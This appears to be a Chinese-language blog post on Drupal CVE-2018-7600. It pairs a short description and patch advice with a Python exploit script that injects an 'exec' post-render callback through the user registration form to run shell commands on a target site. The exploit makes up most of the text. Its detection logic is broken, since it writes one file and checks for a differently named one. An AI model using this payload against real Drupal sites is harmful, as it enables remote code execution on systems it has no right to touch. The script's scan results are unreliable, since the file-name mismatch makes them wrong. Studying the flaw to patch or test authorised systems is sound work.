Drupal RCE CVE-2018-7600
请务必将你的地址填入脚本中! 描述: 在 Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。该漏洞可能允许攻击者利用 Drupal 站点的多个攻击向量,从而导致站点完全被入侵。
解决方案: 升级到 Drupal 7 或 8 核心的最新版本。
如果你正在运行 7.x,请升级到 Drupal 7.58。(如果无法立即更新,你可以尝试应用此补丁来修复漏洞,直到能够完全更新为止。)如果你正在运行 8.5.x,请升级到 Drupal 8.5.1。(如果无法立即更新,你可以尝试应用此补丁来修复漏洞,直到能够完全更新为止。)
#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"|
|CODED BY > R3DXPLOIT(JIMMY) | |
|EMAIL > [email protected] | |
|GITHUB > https://github.com/r3dxpl0it | |
|WEB-PAGE > https://r3dxpl0it.Github.io |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests
def exploit(target):
pass
proxies = {}
verify = False
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
print ( '[*]' + ' requesting post')
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
try:
scan = requests.get(target + 'vulnerable.txt')
if scan.status_code != 200:
print ( ' not vulnerable to cve-2018-7600 exploit \n')
if scan.status_code == 200:
print (' vulnerable to cve-2018-7600 exploit')
print (' url: ' + target + 'vulnerable.txt \n')
except requests.ConnectionError:
print (' target connection timeout')
except Exception as e :
print ('Connction Failed ' + e )
if __name__ == '__main__':
exploit(sys.argv[1])
代码分析.
main -> exploit
argv[1] - target 参数 scan. status_code 根据代码状态值得出结果 事件异常处理